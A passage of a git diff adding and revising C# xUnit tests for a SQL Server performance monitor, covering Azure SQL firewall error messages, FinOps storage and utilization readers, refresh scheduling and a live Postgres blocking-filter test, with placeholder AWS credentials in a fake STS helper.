+    {
+        Handler = handler ?? ((_, _) => Task.FromResult(Grant()));
+    }
+
+    public Func<AssumeRoleRequest, CancellationToken, Task<AssumeRoleResponse>> Handler { get; set; }
+
+    public List<AssumeRoleRequest> Requests { get; } = new();
+
+    public List<string> Regions { get; } = new();
+
+    public List<ImmutableCredentials> SourceCredentialsSeen { get; } = new();
+
+    public int Calls
+    {
+        get
+        {
+            lock (Requests)
+            {
+                return Requests.Count;
+            }
+        }
+    }
+
+    public Func<RegionEndpoint, AWSCredentials, IAmazonSecurityTokenService> Factory => (region, credentials) =>
+    {
+        lock (_gate)
+        {
+            Regions.Add(region.SystemName);
+            SourceCredentialsSeen.Add(credentials.GetCredentials());
+        }
+
+        var proxy = DispatchProxy.Create<IAmazonSecurityTokenService, FakeStsProxy>();
+        var fake = (FakeStsProxy)(object)proxy;
+        fake.Handler = (request, token) => Handler(request, token);
+        fake.Requests = Requests;
+        return proxy;
+    };
+
+    /// <summary>A source of credentials that always answers with the same example keys.</summary>
+    public static Func<RegionEndpoint, Task<AWSCredentials>> Source { get; } =
+        _ => Task.FromResult<AWSCredentials>(new BasicAWSCredentials("AKIAEXAMPLESOURCE", "example-source-secret"));
+
+    /// <summary>An STS response with example credentials. <paramref name="expiration"/> is deliberately settable: the code must not read it.</summary>
+    public static AssumeRoleResponse Grant(string token = "example-session-token", DateTime? expiration = null) => new()
+    {
+        Credentials = new Credentials
+        {
+            AccessKeyId = "ASIAEXAMPLEASSUMED",
+            SecretAccessKey = "example-assumed-secret",
+            SessionToken = token,
+            Expiration = expiration,
+        },
+    };
+
+    /// <summary>An STS error with an AWS error code.</summary>
+    public static AmazonSecurityTokenServiceException Error(string code, string message) => new(message)
+    {
+        ErrorCode = code,
+    };
+}
+
+/// <summary>A clock that moves only when a test moves it.</summary>
+internal sealed class ManualTimeProvider : TimeProvider
+{
+    private DateTimeOffset _now;
+
+    public ManualTimeProvider(DateTimeOffset? start = null)
+    {
+        _now = start ?? new DateTimeOffset(2026, 10, 7, 12, 0, 0, TimeSpan.Zero);
+    }
+
+    public override DateTimeOffset GetUtcNow() => _now;
+
+    public void Advance(TimeSpan by) => _now += by;
+}
+
+/// <summary>A logger that keeps every formatted line and its exception.</summary>
+internal sealed class CapturingAwsLogger : ILogger
+{
+    public List<string> Lines { get; } = new();
+
+    public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+    public bool IsEnabled(LogLevel logLevel) => true;
+
+    public void Log<TState>(LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+    {
+        lock (Lines)
+        {
+            Lines.Add($"{logLevel}: {formatter(state, exception)}" + (exception is null ? string.Empty : " | " + exception));
+        }
+    }
+
+    public string All
+    {
+        get
+        {
+            lock (Lines)
+            {
+                return string.Join("\n", Lines);
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/AzureFallbackMessageTests.cs b/Darling/Darling.Tests/AzureFallbackMessageTests.cs
new file mode 100644
index 0000000000..c47021c204
--- /dev/null
+++ b/Darling/Darling.Tests/AzureFallbackMessageTests.cs
@@ -0,0 +1,71 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5498: when master cannot be read and the registration names no database, the thrown text puts the firewall first.
+/// Error 40615 means the Azure firewall did not allow the client's IP address (a server-level block causes it as
+/// readily as a database-only rule), so the text names that and the firewall rule as the fix. Setting a database is
+/// only the fix for the master-only case. The 3.10 Azure release test hit this with a server-level rule removed and
+/// was told to set a database. The fallback behavior itself (throw when there is nothing to fall back to, use the
+/// named database otherwise) is unchanged and pinned here beside the wording.
+/// </summary>
+public sealed class AzureFallbackMessageTests
+{
+    private static DarlingCollectorRunner Runner()
+        => new(NpgsqlDataSource.Create("Host=localhost;Database=unused"), new CollectorDeltaCalculator(), NullLogger.Instance);
+
+    private static ServerRuntime Server() => new()
+    {
+        Config = new MonitoredServer { Name = "AzureTest1007", Host = "example.database.windows.net" },
+        ConnectionString = "Server=tcp:example.database.windows.net,1433;Initial Catalog=master;Encrypt=True",
+        Target = new CollectorTargetInfo { IsAzureSqlDb = true },
+        StorageName = "example.database.windows.net",
+        ServerId = 5498,
+    };
+
+    [Theory]
+    [InlineData("master")]
+    [InlineData("")]
+    [InlineData(null)]
+    public void NoDatabaseToFallBackTo_NamesTheFirewallFirst(string? targetDb)
+    {
+        var ex = Assert.Throws<InvalidOperationException>(
+            () => Runner().FallbackDatabaseList(Server(), targetDb, reason: "master DB inaccessible (SQL error 40615)"));
+
+        var message = ex.Message;
+        Assert.StartsWith("master DB inaccessible (SQL error 40615), and this connection has no target database", message, StringComparison.Ordinal);
+
+        var firewall = message.IndexOf("firewall did not allow this client's IP address", StringComparison.Ordinal);
+        var rule = message.IndexOf("add a firewall rule", StringComparison.Ordinal);
+        var setDatabase = message.IndexOf("set a database for 'AzureTest1007'", StringComparison.Ordinal);
+
+        Assert.True(firewall > 0, message);
+        Assert.True(rule > firewall, message);
+        Assert.Contains("either a server-level rule or a database-level rule in master", message, StringComparison.Ordinal);
+        Assert.True(setDatabase > rule, "Setting a database comes after the firewall, as the master-only case's fix.");
+        Assert.Contains("can open a user database but not master", message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ANamedDatabaseIsStillTheFallback()
+    {
+        var databases = Runner().FallbackDatabaseList(Server(), "AdventureWorks", reason: "master DB inaccessible (SQL error 40615)");
+
+        Assert.Equal(new List<string> { "AdventureWorks" }, databases);
+    }
+}
diff --git a/Darling/Darling.Tests/AzureForeignStatePruneTests.cs b/Darling/Darling.Tests/AzureForeignStatePruneTests.cs
index 5c0c33b460..8cc2cc760c 100644
--- a/Darling/Darling.Tests/AzureForeignStatePruneTests.cs
+++ b/Darling/Darling.Tests/AzureForeignStatePruneTests.cs
@@ -138,7 +138,10 @@ their orphaned rows wholesale — a dropped-database prune has nothing left to o
             k => k.Prefix == QueryStoreOpenIntervalState.WatermarkKeyPrefix);
 
         /* Nothing may sit outside both lists — a server-scoped key added to PrunableKeys by reflex would be
-           deleted every cycle. */
-        Assert.Empty(QueryStorePerDatabaseState.NotKeyedByDatabase);
+           deleted every cycle. The one member is the drop record of the long-query session older versions shared
+           between installs (#4961): its server-scope key is the bare prefix, which a prune that rebuilds keys as
+           prefix + database name would delete every cycle. A new member is a decision, so the list is pinned
+           whole rather than checked for containment. */
+        Assert.Equal(new[] { LegacyLongQuerySession.StateKeyPrefix }, QueryStorePerDatabaseState.NotKeyedByDatabase);
     }
 }
diff --git a/Darling/Darling.Tests/AzureMasterAnalysisScopeLiveTests.cs b/Darling/Darling.Tests/AzureMasterAnalysisScopeLiveTests.cs
index d64deb6c6d..60766b52a8 100644
--- a/Darling/Darling.Tests/AzureMasterAnalysisScopeLiveTests.cs
+++ b/Darling/Darling.Tests/AzureMasterAnalysisScopeLiveTests.cs
@@ -69,7 +69,7 @@ INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major
 VALUES ($1, $2, $2, TRUE, 16, now()::timestamp, now()::timestamp)
 ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", ct, ServerId, ServerName);
 
-            var end = new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerMinute), DateTimeKind.Unspecified).AddMinutes(-1);
+            var end = new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute, DateTimeKind.Unspecified).AddMinutes(-1);
             var start = end.AddHours(-4);
             await Exec(connection, "INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_waiting_tasks, delta_wait_time_ms, delta_signal_wait_time_ms) VALUES ($1,$2,$3,$4,'OLD',1,1,0)",
                 ct, CollectionIdGenerator.Next(), end.AddDays(-3), ServerId, ServerName);
@@ -231,7 +231,7 @@ await Exec(connection, @"
 INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date)
 VALUES ($1, $2, $2, TRUE, 16, now()::timestamp, now()::timestamp)
 ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", ct, ServerId, ServerName);
-            var end = new DateTime(DateTime.UtcNow.Ticks - (DateTime.UtcNow.Ticks % TimeSpan.TicksPerMinute), DateTimeKind.Unspecified).AddMinutes(-1);
+            var end = new DateTime(DateTime.UtcNow.Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute, DateTimeKind.Unspecified).AddMinutes(-1);
             var start = end.AddHours(-4);
             for (var m = 0; m <= 240; m += 15)
                 await Exec(connection, "INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_waiting_tasks, delta_wait_time_ms, delta_signal_wait_time_ms) VALUES ($1,$2,$3,$4,'CXPACKET',1,10,0)",
diff --git a/Darling/Darling.Tests/AzureSiblingGrowthTests.cs b/Darling/Darling.Tests/AzureSiblingGrowthTests.cs
index e047c8106e..89194dd5dd 100644
--- a/Darling/Darling.Tests/AzureSiblingGrowthTests.cs
+++ b/Darling/Darling.Tests/AzureSiblingGrowthTests.cs
@@ -61,18 +61,32 @@ private static string CteBody(string sql, string name)
     }
 
     [Fact]
-    public void ViewerStorageGrowth_LeavesTheOldShapeRowsOutOfTheLatestAnd7dAnd30dSums()
+    public void ViewerStorageGrowth_LeavesTheOldShapeRowsOutOfTheLatestSum_AndEverySiblingRowOutOfThe7dAnd30dSums()
     {
         var sql = ViewerDataService.StorageGrowthSql;
 
-        foreach (var sum in new[] { "latest", "past_7d", "past_30d" })
+        Assert.True(
+            Squash(CteBody(sql, "latest")).Contains(AzureSiblingDatabaseSize.ExcludePreFixRows, StringComparison.Ordinal),
+            "The latest sum does not leave the old-shape sibling rows out.");
+
+        // #5498: the newest side holds data plus log per database now, so a past side that kept the old data-only
+        // sibling rows would read the log as growth.
+        foreach (var sum in new[] { "past_7d", "past_30d" })
         {
             Assert.True(
-                Squash(CteBody(sql, sum)).Contains(AzureSiblingDatabaseSize.ExcludePreFixRows, StringComparison.Ordinal),
-                $"The {sum} sum does not leave the old-shape sibling rows out.");
+                Squash(CteBody(sql, sum)).Contains(AzureSiblingDatabaseSize.ExcludeAllSiblingRows, StringComparison.Ordinal),
+                $"The {sum} sum does not leave every sibling row out.");
         }
     }
 
+    [Fact]
+    public void ExcludeAllSiblingRows_IsTheRowTestWithoutTheUsedSpaceCondition()
+    {
+        Assert.Equal(
+            "NOT (file_id IS NULL AND COALESCE(file_name, '') = '(whole database)')",
+            AzureSiblingDatabaseSize.ExcludeAllSiblingRows);
+    }
+
     /// <summary>
     /// A sibling's size is data space only, so the <c>latest</c> CTE flags a database that has the one row another database
     /// gets, with a <c>bool_or</c> of the shared row test. Lite's <c>AzureSiblingGrowthTests</c> run the twin query on a
@@ -114,10 +128,10 @@ public void ViewerStorageGrowth_ReadsTheTwoFlagsLast_SoNoOtherColumnMoves()
             Squash(ViewerDataService.StorageGrowthSql),
             StringComparison.Ordinal);
 
-        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Storage.cs");
-        Assert.Contains("GrowthPct30d = reader.IsDBNull(7) ? null : Convert.ToDecimal(reader.GetValue(7)),", source, StringComparison.Ordinal);
-        Assert.Contains("HasSiblingRow = !reader.IsDBNull(8) && reader.GetBoolean(8)", source, StringComparison.Ordinal);
-        Assert.Contains("HasLogServiceFile = !reader.IsDBNull(9) && reader.GetBoolean(9)", source, StringComparison.Ordinal);
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsStorageGrowthReader.cs");
+        Assert.Contains("GrowthPct30d: reader.IsDBNull(7) ? null : Convert.ToDecimal(reader.GetValue(7)),", source, StringComparison.Ordinal);
+        Assert.Contains("HasSiblingRow: !reader.IsDBNull(8) && reader.GetBoolean(8)", source, StringComparison.Ordinal);
+        Assert.Contains("HasLogServiceFile: !reader.IsDBNull(9) && reader.GetBoolean(9)", source, StringComparison.Ordinal);
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs b/Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs
index 1c9e5fb464..122e79ff9a 100644
--- a/Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs
+++ b/Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs
@@ -166,7 +166,7 @@ public void WebStatRenderer_DropsTilesByTheirCondition_OnEdition5_AndKeepsEveryT
 
         Process proc;
         try { proc = Process.Start(psi)!; }
-        catch (Win32Exception) { return; } // Node is not installed; the source pins above still hold the change in place.
+        catch (Win32Exception) { Assert.Skip("Node is not installed, so the shipped page script cannot be run."); throw; } // The source pins above still hold the change in place.
 
         using (proc)
         {
@@ -235,18 +235,21 @@ public void FinOpsUtilizationCard_AsksTheSharedRule_ForTheWordsAroundItsMemoryFi
     {
         var tab = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.Loaders.cs");
         var xaml = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.xaml");
-        var read = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Utilization.cs");
+        var read = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsUtilizationReader.cs");
+        var figures = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsUtilizationFigures.cs");
 
-        Assert.Contains("ServerHardwareScope.HardwareIsTheHosts(data.EngineEdition)", tab, StringComparison.Ordinal);
+        Assert.Contains("ServerHardwareScope.HardwareIsTheHosts(d.EngineEdition)", figures, StringComparison.Ordinal);
+        Assert.Contains("FinOpsUtilizationFigures.Explanation(", tab, StringComparison.Ordinal);
         Assert.Contains("FinOpsPhysicalMemoryCaption.Text = ServerHardwareScope.PhysicalMemoryCaption(data.EngineEdition);", tab, StringComparison.Ordinal);
         Assert.Contains("x:Name=\"FinOpsPhysicalMemoryCaption\"", xaml, StringComparison.Ordinal);
-        Assert.Contains("ServerHardwareScope.OverProvisionedExplanation(", tab, StringComparison.Ordinal);
-        Assert.Contains("ServerHardwareScope.RightSizedExplanation(", tab, StringComparison.Ordinal);
+        Assert.Contains("ServerHardwareScope.OverProvisionedExplanation(", figures, StringComparison.Ordinal);
+        Assert.Contains("ServerHardwareScope.RightSizedExplanation(", figures, StringComparison.Ordinal);
         Assert.DoesNotContain("of physical RAM", tab, StringComparison.Ordinal);
+        Assert.DoesNotContain("of physical RAM", figures, StringComparison.Ordinal);
         /* The CPU count is resolved through the edition (AzureSqlDatabaseHostMathTests pins the CASE): off edition 5 it is still
            COALESCE(vcore_count, cpu_count), and the edition still rides along for the card. */
         Assert.Contains("ELSE COALESCE(vcore_count, cpu_count) END AS cpu_count, engine_edition", read, StringComparison.Ordinal);
-        Assert.Contains("EngineEdition = reader.IsDBNull(16)", read, StringComparison.Ordinal);
+        Assert.Contains("EngineEdition: reader.IsDBNull(16)", read, StringComparison.Ordinal);
     }
 
     [Fact]
diff --git a/Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs b/Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs
index bb0fc0d318..68ee30bb21 100644
--- a/Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs
+++ b/Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs
@@ -30,6 +30,7 @@ namespace Darling.Tests;
 /// (editions 1 to 4) and Managed Instance (8) behave exactly as before, and every test has that twin. Lite.Tests pins the
 /// same table for the other app, in the same words.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AzureSqlDatabaseHostMathTests
 {
     private static readonly DateTime s_start = new(2026, 9, 30, 0, 0, 0, DateTimeKind.Utc);
diff --git a/Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs b/Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs
index 7fb112600a..a4032554b4 100644
--- a/Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs
+++ b/Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs
@@ -239,20 +239,32 @@ public void MemoryRecommendation_NeverDividesByServerPropertiesMemory_SoItCannot
            "{percent} of {n}GB RAM". Its divisor is util.PhysicalMemoryMb, read from memory_stats through the utilization read,
            and the rules file reads no physical-memory column of its own. */
         var rules = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs");
+        var reader = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsRecommendationsReader.cs");
 
-        Assert.Contains("of {util.PhysicalMemoryMb / 1024}GB RAM", rules, StringComparison.Ordinal);
+        var figures = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsRecommendationFigures.cs");
+
+        Assert.Contains("of {util.PhysicalMemoryMb / 1024}GB RAM", figures, StringComparison.Ordinal);
         Assert.False(
             Regex.IsMatch(rules, @"physical_memory_mb"),
             "the recommendation rules must not read a physical-memory column of their own");
+        Assert.False(
+            Regex.IsMatch(reader, @"physical_memory_mb"),
+            "the recommendation reader must not read a physical-memory column of its own");
+        Assert.False(
+            Regex.IsMatch(figures, @"physical_memory_mb"),
+            "the recommendation figures must not read a physical-memory column of their own");
     }
 
     [Fact]
     public void MemoryAndVmRules_OnAzureSqlDatabase_SayWhyTheyStandDown_AndDoNotCallTheMemoryTheHosts()
     {
-        var rules = Flatten(ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs"));
+        var rules = Flatten(ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsRecommendationsReader.cs"));
+        var viewerRules = Flatten(ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs"));
 
         Assert.DoesNotContain("reports the HOST's memory", rules, StringComparison.Ordinal);
         Assert.DoesNotContain("its memory figure is the host's", rules, StringComparison.Ordinal);
+        Assert.DoesNotContain("reports the HOST's memory", viewerRules, StringComparison.Ordinal);
+        Assert.DoesNotContain("its memory figure is the host's", viewerRules, StringComparison.Ordinal);
         Assert.Contains("its memory comes with its service objective and cannot be resized on its own", rules, StringComparison.Ordinal);
         Assert.Contains("its cores and memory come with its service objective", rules, StringComparison.Ordinal);
     }
diff --git a/Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs b/Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs
index 897466a590..e82f0cdfec 100644
--- a/Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs
+++ b/Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs
@@ -15,6 +15,7 @@
 using PerformanceMonitor.Darling.Analysis;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
 using PerformanceMonitor.Darling.Viewer;
 using PerformanceMonitor.PlanAnalysis;
 using Xunit;
@@ -488,20 +489,23 @@ public void FinOpsTab_AsksTheSharedRules_ForTheCpuUnit_TheWorkerThreadsCard_TheH
         Assert.DoesNotContain("$\"{data.CurrentWorkersCount:N0} / {data.MaxWorkersCount:N0}\"", tab, StringComparison.Ordinal);
 
         Assert.Contains(
-            "FinOpsHealthScoreBorder.ToolTip = data.HasCpuSample ? null : ServerHardwareScope.HealthScoreWithoutCpuNote;",
+            "FinOpsHealthScoreBorder.ToolTip = data.HasCpuSample ? null : FinOpsHealthCalculator.NoScoreNote;",
             tab, StringComparison.Ordinal);
 
-        Assert.Contains(
-            "int? cpuScore = item.AvgCpuPct is decimal avgCpu ? FinOpsHealthCalculator.CpuScore(avgCpu) : null;",
-            tab, StringComparison.Ordinal);
+        // The inventory score is the fleet read's, the Utilization view's own rule: no CPU sample is a dash, never a default.
+        Assert.Contains("item.HealthScore = row.HealthScore;", tab, StringComparison.Ordinal);
         Assert.DoesNotContain("item.AvgCpuPct ?? 0m", tab, StringComparison.Ordinal);
+
+        var reader = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsInventoryReader.cs");
+        Assert.Contains("return FinOpsUtilizationFigures.HealthScore(", reader, StringComparison.Ordinal);
+        Assert.Contains("if (reader.IsDBNull(1) || reader.IsDBNull(16)) return null;", reader, StringComparison.Ordinal);
     }
 
     [Fact]
     public void WorkerReads_KeepANullInUseCountNull_InAllThreePlaces()
     {
-        var utilization = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Utilization.cs");
-        var inventory = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Inventory.cs");
+        var utilization = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsUtilizationReader.cs");
+        var inventory = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsInventoryReader.cs");
 
         /* Point-in-time read, 7-day trend and fleet read: the in-use count is read as NULL, not coalesced to 0. */
         Assert.Contains("int? currentWorkers = reader.IsDBNull(10) ? null : Convert.ToInt32(reader.GetValue(10));", utilization, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/BaselineDiscontinuityRenderTests.cs b/Darling/Darling.Tests/BaselineDiscontinuityRenderTests.cs
index 9db21827a6..b5be6f7d20 100644
--- a/Darling/Darling.Tests/BaselineDiscontinuityRenderTests.cs
+++ b/Darling/Darling.Tests/BaselineDiscontinuityRenderTests.cs
@@ -35,7 +35,7 @@ public sealed class BaselineDiscontinuityRenderTests
     {
         "get_memory_trend", "get_perfmon_trend", "get_file_io_trend", "get_query_trend",
         "get_query_duration_trend", "get_procedure_duration_trend", "get_query_store_duration_trend",
-        "get_wait_trend",
+        "get_wait_trend", "get_server_trend",
     };
 
     private static (string Name, MethodInfo Method)[] AllDarlingTools() => typeof(DarlingMcpTrendTools).Assembly.GetTypes()
@@ -76,7 +76,8 @@ public void TheWaitTrend_LivesInDataTools_AndTheSevenInTrendTools()
         var byType = AllDarlingTools().ToDictionary(t => t.Name, t => t.Method.DeclaringType!, StringComparer.Ordinal);
 
         Assert.Equal(typeof(DarlingMcpDataTools), byType["get_wait_trend"]);
-        foreach (var name in Roster.Where(n => n != "get_wait_trend"))
+        Assert.Equal(typeof(DarlingMcpServerTrendTools), byType["get_server_trend"]);
+        foreach (var name in Roster.Where(n => n != "get_wait_trend" && n != "get_server_trend"))
         {
             Assert.Equal(typeof(DarlingMcpTrendTools), byType[name]);
         }
diff --git a/Darling/Darling.Tests/BaselineSupplyTests.cs b/Darling/Darling.Tests/BaselineSupplyTests.cs
index eb28edf8ee..f48f6b3c7a 100644
--- a/Darling/Darling.Tests/BaselineSupplyTests.cs
+++ b/Darling/Darling.Tests/BaselineSupplyTests.cs
@@ -514,14 +514,19 @@ public void Successors_TookTheLegacyPositions_SoThePhaseGridDidNotMove()
         Assert.Equal(TimescaleSupport.WaitStatsIntervalBaselineView, TimescaleSupport.BaselineAggregates[1].View);
 
         /* The order's count is the hourly registry plus the seven baselines — 6 + 7 = 13 since #3653's LC
-           freeze (was 9 + 7 = 16 during Q12) — and the baseline pair contributes exactly its two positions to
-           it, no more. */
+           freeze (was 9 + 7 = 16 during Q12, and
+           8 + 7 = 15 at #5329) — and the baseline pair contributes exactly its two positions to it, no more. */
         Assert.Equal(TimescaleSupport.HourlyAggregates.Length + 7, TimescaleSupport.HourlyRefreshPhaseOrder.Count);
-        Assert.Equal(13, TimescaleSupport.HourlyRefreshPhaseOrder.Count);
-        Assert.Equal(3, TimescaleSupport.RefreshPhaseMinutesFor(TimescaleSupport.PerfmonIntervalBaselineView));
-        Assert.Equal(5, TimescaleSupport.RefreshPhaseMinutesFor(TimescaleSupport.WaitStatsIntervalBaselineView));
-        Assert.Equal(15, TimescaleSupport.HeaviestRefreshStartMinute);
-        Assert.Equal(1050, TimescaleSupport.RefreshSlotWarningSeconds);
+        /* #5329: 8 + 7 = 15 now that the two io hourlies joined the registry, so the grid re-derives: 14 light
+           members spread over a 13-minute band, the heaviest refresh at :17 with a 19-minute window, so the watch
+           line is 950 s. The light band is re-laid (the unbounded-cardinality members sit a guard's width apart in
+           it, and the band now has 14 positions), which moves the baseline pair from minutes 3 and 5 to 5 and 6; the minute map stays
+           injective (TimescaleSupportTests pins that and carries the derivation). */
+        Assert.Equal(15, TimescaleSupport.HourlyRefreshPhaseOrder.Count);
+        Assert.Equal(5, TimescaleSupport.RefreshPhaseMinutesFor(TimescaleSupport.PerfmonIntervalBaselineView));
+        Assert.Equal(6, TimescaleSupport.RefreshPhaseMinutesFor(TimescaleSupport.WaitStatsIntervalBaselineView));
+        Assert.Equal(17, TimescaleSupport.HeaviestRefreshStartMinute);
+        Assert.Equal(950, TimescaleSupport.RefreshSlotWarningSeconds);
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/BenefitScorerWiringTests.cs b/Darling/Darling.Tests/BenefitScorerWiringTests.cs
index 8cecc35769..6a302a4ca0 100644
--- a/Darling/Darling.Tests/BenefitScorerWiringTests.cs
+++ b/Darling/Darling.Tests/BenefitScorerWiringTests.cs
@@ -22,6 +22,8 @@ namespace Darling.Tests;
 /// is now the one place that runs <see cref="PlanAnalyzer.Analyze"/> then <see cref="BenefitScorer.Score"/>,
 /// and every entry point that used to call the analyzer directly calls the pipeline instead.
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class BenefitScorerWiringTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/BlockingDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/BlockingDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..313cf5a592
--- /dev/null
+++ b/Darling/Darling.Tests/BlockingDatabaseFilterLiveTests.cs
@@ -0,0 +1,362 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244 (PR3, lane R1): the blocking reads take a SET of databases. <c>get_blocking</c> and its reader filter BOTH arms (the XE
+/// reports and the DMV fallback), <c>get_blocked_process_xml</c> filters the XE-with-XML read, and <c>get_blocking_trend</c> filters
+/// both arms of the per-minute trend. A call with [A, B] over a seed of A, B and C returns only A and B rows, and the cap is the
+/// top N of the CHOSEN databases (the newest row is C's, so a cap taken before the filter would be spent on it). The one-name
+/// consumers on the empty and miss paths say "for the chosen databases" instead of giving a verdict about a database the read
+/// never looked at.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class BlockingDatabaseFilterLiveTests
+{
+    private const string ServerName = "darling-blocking-db-filter-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    private const string SkipReason =
+        "Set DARLING_TEST_PG to a Postgres connection string to run the live blocking database-filter test (it mints its own scratch database).";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task BlockedProcessReportsReader_TwoNames_ReturnsOnlyThoseDatabases_OnBothArms_AndCapsAfterTheFilter()
+    {
+        await RunAsync(async (postgres, now, ct) =>
+        {
+            var start = now.AddHours(-1);
+
+            var all = await DarlingBlockingReader.GetRecentBlockedProcessReportsAsync(postgres, ServerId, start, now, 50, DatabaseFilter.All, ct);
+            Assert.Equal(new[] { "A", "B", "C", "D" }, all.Select(r => r.DatabaseName).Distinct().OrderBy(n => n, StringComparer.Ordinal).ToArray());
+            Assert.Equal(7, all.Count);
+
+            var chosen = await DarlingBlockingReader.GetRecentBlockedProcessReportsAsync(postgres, ServerId, start, now, 50, DatabaseFilter.Of(["A", "B"]), ct);
+            Assert.Equal(new[] { "A", "B" }, chosen.Select(r => r.DatabaseName).Distinct().OrderBy(n => n, StringComparer.Ordinal).ToArray());
+            /* One XE row and one DMV row per chosen database: both arms were filtered. */
+            Assert.Equal(4, chosen.Count);
+            Assert.Equal(2, chosen.Count(r => r.Source != BlockedProcessAlertRow.DmvSnapshotSource));
+
+            /* The overload's one-name form is the same predicate. */
+            var one = await DarlingBlockingReader.GetRecentBlockedProcessReportsAsync(postgres, ServerId, start, now, 50, DatabaseFilter.One("B"), ct);
+            Assert.All(one, r => Assert.Equal("B", r.DatabaseName));
+            Assert.Equal(2, one.Count);
+
+            /* The cap runs over the chosen databases: C holds the newest XE row, so the unfiltered top row is C's. */
+            var topAll = await DarlingBlockingReader.GetRecentBlockedProcessReportsAsync(postgres, ServerId, start, now, 1, DatabaseFilter.All, ct);
+            Assert.Equal("C", topAll.Single().DatabaseName);
+            var topChosen = await DarlingBlockingReader.GetRecentBlockedProcessReportsAsync(postgres, ServerId, start, now, 1, DatabaseFilter.Of(["A", "B"]), ct);
+            Assert.Equal("A", topChosen.Single().DatabaseName);
